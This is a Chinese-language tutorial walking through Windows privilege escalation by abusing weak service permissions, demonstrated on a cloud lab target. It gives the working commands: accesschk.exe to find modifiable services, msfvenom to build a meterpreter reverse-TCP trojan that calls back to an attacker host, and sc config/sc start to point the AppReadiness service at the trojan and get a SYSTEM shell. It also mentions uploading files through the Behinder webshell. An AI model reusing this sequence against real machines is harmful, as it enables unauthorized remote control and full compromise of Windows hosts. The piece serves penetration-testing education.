1.原理:Windows服务有时被配置为与服务本身或与服务运行的目录相关的弱权限。这可能允许攻击者操纵服务,以便在其启动时执行任意代码,并将权限提升到SYSTEM。
2.利用方法:将服务的 binpath 更改为我们上传的木马文件路径,以便在服务启动时执行恶意代码从而获得system权限。
accesschk.exe工具介绍:
accesschk是一个windows系统配置检查工具,用于查看文件、注册表项、服务、进程、内核对象等的有效权限。该工具将有助于识别当前用户是否可以修改某个服务目录中的文件。
由于它是微软官方出品,我们将其上传至靶机,执行不会受到阻碍
下载地址:https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk
二、演示靶机:腾讯云服务器 装有phpstudy环境的Windows server 2012 IP地址:49.xxx.xxx.xxx
攻击机:阿里云服务器 装有msf的ubuntu系统 IP地址:101.xxx.xxx.xxx
1.上传accesschk.exe到靶机
通过冰蝎将accesschk.exe上传至靶机C盘根目录
2.启动accesschk.exe
第一次执行accesschk.exe会跳出一个提示窗口让我们接受许可,我们执行accesschk.exe /accepteula
命令绕过以自动接受。
检测服务权限配置:执行命令检测,检测当前用户可以操作的服务项
accesschk.exe -uwcqv "Administrators" *
3.上传木马文件
启动msf生成名为shell.exe的木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP地址 LPORT=4444 -f exe > shell.exe
将木马上传至靶机C盘根目录
msf开启监听
4.更改服务路径指向
从刚刚我们使用accesschk.exe查看到的可以操作的服务项中随意挑选一个,这里我们选择AppReadiness这个服务,改变其binpath为上传的木马文件路径
sc config "AppReadiness" binpath="C:\shell.exe"
5.启动服务,成功获得system权限
启动AppReadiness
sc start AppReadiness
msf收到会话,查看权限,提权成功
三、结论服务是操作系统的核心,经常以特权访问的方式运行,因为它们可能需要访问操作系统中受限的文件、注册表键等来执行任务。当服务没有得到适当的保护,允许用户操纵它们的配置、二进制文件、注册表键或者去启动和停止服务时,这就会给系统带来安全问题。